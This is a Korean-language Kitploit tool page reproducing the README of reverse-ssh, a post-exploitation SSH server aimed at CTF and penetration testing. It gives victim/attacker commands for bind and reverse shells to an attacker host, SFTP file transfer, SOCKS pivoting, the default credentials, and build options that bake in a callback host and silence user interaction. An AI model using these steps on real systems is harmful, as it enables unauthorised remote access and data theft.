Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
reverse-ssh — 정적으로 링크된 SSH 서버로, CTF 및 유사한 용도용 리버스 셸 기능을 갖춘 것 | Kitploit
도구/GitHubGitHub/fahrj/reverse-ssh
Post-ExploitationCTFPenetration TestingRed TeamingRemote Access Tool
GitHubfahrj/reverse-ssh

reverse-ssh

정적으로 링크된 SSH 서버로, CTF 및 유사한 용도용 리버스 셸 기능을 갖춘 것

저장소 보기
1.1k1503년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ReverseSSH

정적으로 링크된 SSH 서버로, 역방향 연결 기능을 제공하여 간단하면서도 강력한 원격 접근을 가능하게 합니다. HackTheBox 챌린지, CTF 또는 이와 유사한 상황에서 가장 유용합니다.

OSCP 시험 준비 기간 동안 개발되어 광범위하게 사용되었습니다.

최신 릴리스 받기

시연

기능

netcat 으로 리버스 셸을 잡는 것은 확실히 멋지지만, 근육 기억 때문에 키보드 인터럽트로 실수로 리버스 셸을 종료해 본 사람이 없을까요?
이러한 셸은 깨지기 쉬울 뿐만 아니라 완전한 대화형 접근, TAB 완성 또는 히스토리와 같은 편의 기능도 자주 누락됩니다.

대신, 타겟에 경량 SSH 서버(<1.5MB)인 reverse-ssh를 배포하여 파일 전송 및 포트 포워딩과 같은 추가 편의 기능을 사용할 수 있습니다!

ReverseSSH는 타겟에 대한 초기 거점 확보와 전체 로컬 권한 상승 사이의 간극을 메우려고 합니다.
주요 강점은 다음과 같습니다:

  • 완전한 대화형 셸 접근 (아래의 이전 Windows 버전에 대한 주의사항 확인)
  • sftp를 통한 파일 전송
  • 로컬/원격/동적 포트 포워딩
  • 바인드 셸 및 리버스 셸로 사용 가능
  • Unix 및 Windows 운영 체제 지원

Windows 주의사항

Windows에서 완전한 대화형 PowerShell은 Windows Pseudo Console ConPTY에 의존하므로 최소 Win10 Build 17763이 필요합니다.
이전 버전에서는 방향 키나 키보드 인터럽트와 같은 가상 터미널 코드를 처리할 수 없는 대화형 리버스 셸을 얻을 수 있습니다.
이러한 경우 cmd 명령어를 추가해야 합니다. 예: ssh <옵션> <IP> cmd.

이전 Windows 버전에서 완전한 대화형 셸 접근을 얻으려면 reverse-ssh와 동일한 디렉토리에 ssh-shellhost.exe (Windows용 OpenSSH에서 제공)를 넣고 -s ssh-shellhost.exe 플래그를 사용하십시오.
이렇게 하면 모든 트래픽이 ssh-shellhost.exe를 통해 파이프되어 pty를 모방하고 모든 가상 터미널 코드를 Windows가 이해할 수 있도록 변환합니다.

요구 사항

제공된 바이너리를 단순히 실행하는 것은 golang 시스템 요구 사항에만 의존합니다.

간단히 말해:

  • Linux: 커널 버전 2.6.23 이상
  • Windows: Windows Server 2008R2 이상 또는 Windows 7 이상

컴파일을 위해서는 추가로 다음이 필요합니다:

  • golang 버전 1.15
  • 선택적으로 upx (압축용, 예: apt install upx-ucl)

사용법

reverse-ssh가 피해자에서 실행되면, 사용자 이름과 기본 비밀번호 letmeinbrudipls, SSH 키, 또는 컴파일 시 지정한 값으로 연결할 수 있습니다.
결국 이것은 평범한 SSH 서버입니다:

root@kitploit:~
# 완전한 대화형 셸 접근
$ ssh -p <RPORT> <RHOST>

# 간단한 명령어 실행
$ ssh -p <RPORT> <RHOST> whoami

# 완전한 파일 전송
$ sftp -P <RPORT> <RHOST>

# SOCKS 프록시 동적 포트 포워딩 (포트 9050)
$ ssh -p <RPORT> -D 9050 <RHOST>

ReverseSSH를 바인드 셸로 실행

root@kitploit:~
# 피해자
victim$ ./reverse-ssh

# 공격자 (기본 비밀번호: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

ReverseSSH를 리버스 셸로 실행

참고: ReverseSSH를 LHOST 및 LPORT 매개변수와 함께 컴파일하여 타겟에서 실행을 용이하게 할 수 있습니다. 아래 참조

root@kitploit:~
# 공격자 (들어오는 요청을 받을 준비; 이미 OpenSSH 등 SSH 데몬이 실행 중이면 생략 가능)
# 참고: LPORT 8888은 들어오는 연결과 충돌합니다; 이 경우 피해자에서 `-b 8889` 또는 유사 플래그를 사용하십시오
attacker$ ./reverse-ssh -v -l -p <LPORT>

# 피해자
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# 또는 포트 22에서 비밀번호 인증을 사용하는 사용자 'kali'의 SSH 데몬이 있는 경우
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# 공격자 (기본 비밀번호: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# 또는 아래 SSH 구성을 사용하는 경우
attacker$ ssh target

결국에는 평범한 SSH이므로, 피해자 컴퓨터에서 오는 원격 포트 포워딩 호출을 포트 22에서 수신 대기 중인 OpenSSH 데몬으로 받을 수 있습니다.
<USER>@를 앞에 추가하고 요청 시 비밀번호를 제공하면 됩니다.
현재 홈 다이얼링은 비밀번호 전용입니다. 아직 개인 키를 내장하는 것은 적절하지 않다고 생각했기 때문입니다.

더 큰 편의를 위해, 다음을 ~/.ssh/config에 추가하고 SSH 개인 키를 ~/.ssh/에 복사한 후, ssh target 또는 sftp target을 호출하십시오:

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

전체 사용법

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

빌드 방법

위의 요구 사항(예: 일치하는 버전의 golang)을 설치하고 올바르게 설정했는지 확인하십시오.
그런 다음 make로 컴파일하면 bin에 정적 바이너리가 생성됩니다.
make compressed를 사용하면 upx로 바이너리를 압축하여 크기를 더 줄일 수 있습니다.

root@kitploit:~
$ make

# 또는 추가로 upx로 압축된 바이너리를 만들려면
$ make compressed

빌드 팁

컴파일 시 다음 환경 변수 중 하나 이상을 지정하여 ReverseSSH를 사용 사례에 맞게 사용자 정의할 수도 있습니다:

  • RS_SHELL : 기본 셸 변경
  • RS_PASS : 개인 비밀번호 제공
  • RS_PUB : 개인 인증 키 제공
  • LUSER : SSH 연결 시도 시 기본 사용자 이름 변경
  • LHOST : 기본 LHOST 값을 제공하여 ReverseSSH가 기본적으로 리버스 시나리오로 동작하도록 함
  • LPORT : 기본 수신 포트 또는 SSH 연결 시도가 전송되는 포트 변경
  • BPORT : 공격자 머신에서 리버스 연결의 기본 수신 포트 변경; 0이면 사용 가능한 포트 중 하나를 사용
  • NOCLI : 값을 지정하면 모든 사용자 상호 작용 제거 (바이너리가 제공된 모든 플래그 또는 인수를 무시함)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

다른 운영 체제 또는 아키텍처용 빌드

기본적으로 reverse-ssh는 현재 OS 및 아키텍처뿐만 아니라 linux 및 windows의 x86 및 x64용으로 컴파일됩니다.
다른 아키텍처 또는 다른 OS용으로 컴파일하려면 타겟과 일치하는 환경 변수를 제공할 수 있습니다. 예: linux/arm64

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

사용 가능한 타겟 목록은 OS/arch 형식으로 go tool dist list를 통해 확인할 수 있습니다.

기여

놀라운 기능이 누락되었나요? 의도한 대로 작동하지 않는 부분이 있나요?

이슈를 생성하거나 풀 리퀘스트를 제출해 주세요!

도구 다운로드